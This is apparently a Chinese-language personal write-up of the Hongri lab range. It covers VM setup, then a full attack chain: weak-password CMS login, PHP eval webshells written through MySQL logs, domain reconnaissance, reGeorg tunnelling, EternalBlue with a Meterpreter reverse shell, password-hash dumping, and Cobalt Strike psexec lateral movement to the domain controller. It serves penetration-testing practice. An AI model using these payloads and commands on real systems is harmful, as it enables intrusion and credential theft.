说明:
靶场默认密码
hongrisec@2019预留空间
【攻击机Kail_2023.3】70G
【靶场win7】32G
【靶场Win2K3 】11G
【靶场winserver08】23G
环境搭建
修改VMnet1、VMnet2网卡的地址
将VMnet1作为内网,VMnet8作为外网,其中需要注意的是,VMnet1的子网地址必须是192.168.52.0
,否则后面win7的web服务无法开启
cmd查看网卡确保已经生效
跳板机 Win 7(VMnet1 - 72.131、VMnet2 - 52.143)
需要模拟内网和外网两个网段,Win7虚拟机相当于网关服务器,所以需要两张网卡
首次登录后,需要再重启电脑,不然phpstudy可能无法启动。
跳板机 Win 7
内网ip: 192.168.52.143
外网ip:192.168.132.145
同时记得把虚拟机的防火墙关闭,否则我们的攻击机ping不通我们的win7虚拟机
ping一下主机,能ping通说明外网设置成功
ping一下DC域控,能ping通说明内网设置也成功
域内主机 Win2K3(VMnet2 - 52.141)
配置vmnet1
ip:192.168.52.141
域控 Server 2008 R2(VMnet2 - 52.138)
配置vmnet1
ip:192.168.52.138
攻击机kali
ip:192.168.132.143
快照
拍摄所有机器初始化快照
拓扑图
外网探测
访问公司外网服务端:http://192.168.132.145/yxcms/
在公告处泄露后台地址
并且已知初始默认密码:admin/123456
尝试弱口令
成功进入公司后台
思考:
公司内部只有这一台机器能访问外网,也就是通过这台机器作为跳板机,实现内网穿透
先在公司后台随便点点
方法一:通过php传马连接
发现公司前台模板可以直接编辑php文件
可以尝试传马连接
思考:
一句话木马写上去,现在的关键是找到这个文件的目录,可以扫一下,然后看看有没有目录遍历漏洞
拿到robots.txt目录
#
# robots.txt for YXCMS
#
User-agent: *
Disallow: /data
Disallow: /protected
/protected发现目录遍历漏洞
找到文件目录
http://192.168.132.145/yxcms//protected/apps/default/view/default/acomment.php
连接成功,拿到跳板机后台权限
方法二:phpmyadmin后台getshell
这里可以发现web服务器上面有phpmyadmin,那么我们可以登陆进去,这里是靶机,自然就是弱密码了(root/root):
phpmyadmin后台getshell的常用手段有以下几种方式:
> 1、select into outfile直接写入
>
> 2、开启全局日志getshell
>
> 3、使用慢查询日志getsehll
>
> 4、使用错误日志getshell
>
> 5、利用phpmyadmin4.8.x本地文件包含漏洞getshell
show variables like '%secure%';
发现没有写入权限,无法用select into outfile方法写入shell。
第二种方法,利用全局变量general_log去getshell
show variables like '%general%';
我们将全局日志开启并将保存日志的目录设为web目录
set global general_log=on;# 开启日志
set global general_log_file='C:/phpStudy/WWW/yxcms/hack.php';# 设置日志位置为网站目录
设置成功
此时执行如下语句即可写入webshell到hack.php中
select '<?php eval($_POST[whoami]); ?>'
用蚁剑连接即可
方法三:使用慢查询日志getsehll
show variables like '%slow%'set global slow_query_log=on;set global slow_query_log_file='C:\\xampp\\htdocs\\tieuhoc\\c.php'select '<?php @eval($_POST[cmd]);?>' or sleep(10);
方法四:使用错误日志getshell
打入内网
域内信息收集
可以发现我们拿到的shell是管理员
信息收集:
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器主机名(可能有多台)
首先判断是否存在域:ipconfig /all
可以发现存在域:god.org
接着使用net view /domain
查看有几个域
可以发现只有一个域GOD
接下来我们查看域控主机名,我们使用net group "domain controllers" /domain
进行查询即可,我们可以查询到域控为owa
接着查询所有域内主机,如下所示net view
接着查询域内IP,使用arp -a
进行查询
为了确定哪个是域控主机IP,我们尝试去ping一下域名ping owa.god.org
域控ip为192.168.52.138
收集到的信息:
域名为 god
域中有三台主机:
stu1.god.org
root-tvi862ubeh.god.org 192.168.52.141
owa.god.org 192.168.52.138 域控主机
内网网段为192.168.52.1/24
内网穿透
reGeorg+Proxchains实现内网穿透
将tunnel.nosocket.php上传到跳板机上访问这个文件,显示必须是Georg says, 'All seems fine'
才表明是可用的!
python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.132.149/yxcms/protected/apps/default/view/default/tunnel.nosocket.php
ping通内网,实现内网穿透
隧道正常工作之后,可以在本地Kali Linux机器上使用ProxyChains之类的工具,访向目标内网中的资源。
git clone https://github.com/rofl0r/proxychains-ng
vi /etc/proxychains.conf
socks5 192.168.1.34 9999
proxychains nmap -Pn -sT 192.168.52.138
nmap -sV -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379 192.168.52.138
python web结合chisel实现内网穿透
横向渗透
可以发现开放445端口
尝试永恒之蓝
加载扫描模块
use auxiliary/scanner/smb/smb_ms17_010 #利用漏洞
set rhosts 192.168.52.138 #配置rhosts
exploit #扫描漏洞
使用永恒之蓝攻击模块:exploit/windows/smb/ms17_010_eternalblue
use exploit/windows/smb/ms17_010_eternalblue #利用漏洞
set payload #设置攻击载荷
set rhosts 192.168.52.138 #配置rhosts
exploit #开始攻击
漏洞利用失败
拿下域控
哈希传递可以拿下域控(此方法适用于内网主机本地管理员密码相同)
哈希传递攻击:
在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机。
攻击流程:
1. 获得一台域控主机的权限,Dump内存获得该主机获得该主机的用户密码Hash值;
2. 通过哈希传递攻击尝试登录其他主机
3. 继续收集哈希并尝试远程登录,知道获得域管理员Hash,登录域控,控制整个域
使用hashdump获取哈希值
msf之hash攻击
不过这里我没有拿msf维持权限,无法使用这个方法
msfconsole # 启动metasploit
use exploit/windows/smb/ms17_010_eternalblue # 用这个模块
set payload windows/x64/meterpreter/reverse_tcp # 用这个payload
set RHOST 192.168.52.138 # 靶机IP
set LHOST 192.168.132.143 # 攻击机IP
run # 开始攻击
Quarks PwDump抓取密码
直接运行Quarks PwDump.exe
-dhl:导出本地哈希值
-dhdc:导出内存中的域控哈希值
-dhd:导出域控哈希值,必须指定NTDS文件
-db:导出Bitlocker信息,必须指定NTDS文件
-nt:导出NTDS文件
-hist:导出历史信息,可选项
-t:可选导出类型,默认导出JOhn类型
-o:导出文件到本地
QuarksPwDump.exe --dump-hash-local --output 1.txt
拿到hash值
liukaifeng01:1000:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
至此为止,后面我就不太能理解。使用CS上线
CS上线
监听:
上线木马,传给win7机器
在控制机中运行木马文件
成功上线:
尝试查看明文密码:logonpasswords
扫描域控
fscan_1.7.0.exe -h 192.168.52.138 -np -nopoc -nobr -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379
可以发现445端口开启
SMB Beacon:
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线
使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。
使用条件:
- 具有 Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
- 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
简略原理:
假设有三个主机 a b c,我们的C2是a且我们已经有了b的权限,b可以访问c,c也可以访问b但不能访问a
这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)
方案一:
得到了域控的账号密码:hongri@2019。这时候我们使用smb beacon进行横移
(这里没太理解)
在beacon里输入命令
shell net use \\192.168.52.138\admin$ /user:"administrator" "hongri@2019"#建立连接
ls \\192.168.52.138\c$#看是否连接成功
jump psexec64 192.168.52.138 cs# 建立smb beacon连接,最后的cs是我的smb listener 的名字。
net use \\192.168.52.138\admin$ /delete#删除链接
方案二:
扫描一下内网
新建一个 Beacon SMB 监听器
域管右键选择psexec
上线域控:
至此,渗透结束!
这是我第一次完整的打渗透靶场,参考很多大佬的博客。
https://blog.csdn.net/jnszstmei/article/details/143832390
https://blog.csdn.net/weixin_46022776/article/details/139295589
https://mp.weixin.qq.com/s/A3MIuT7RXTIIPNLjF42OTg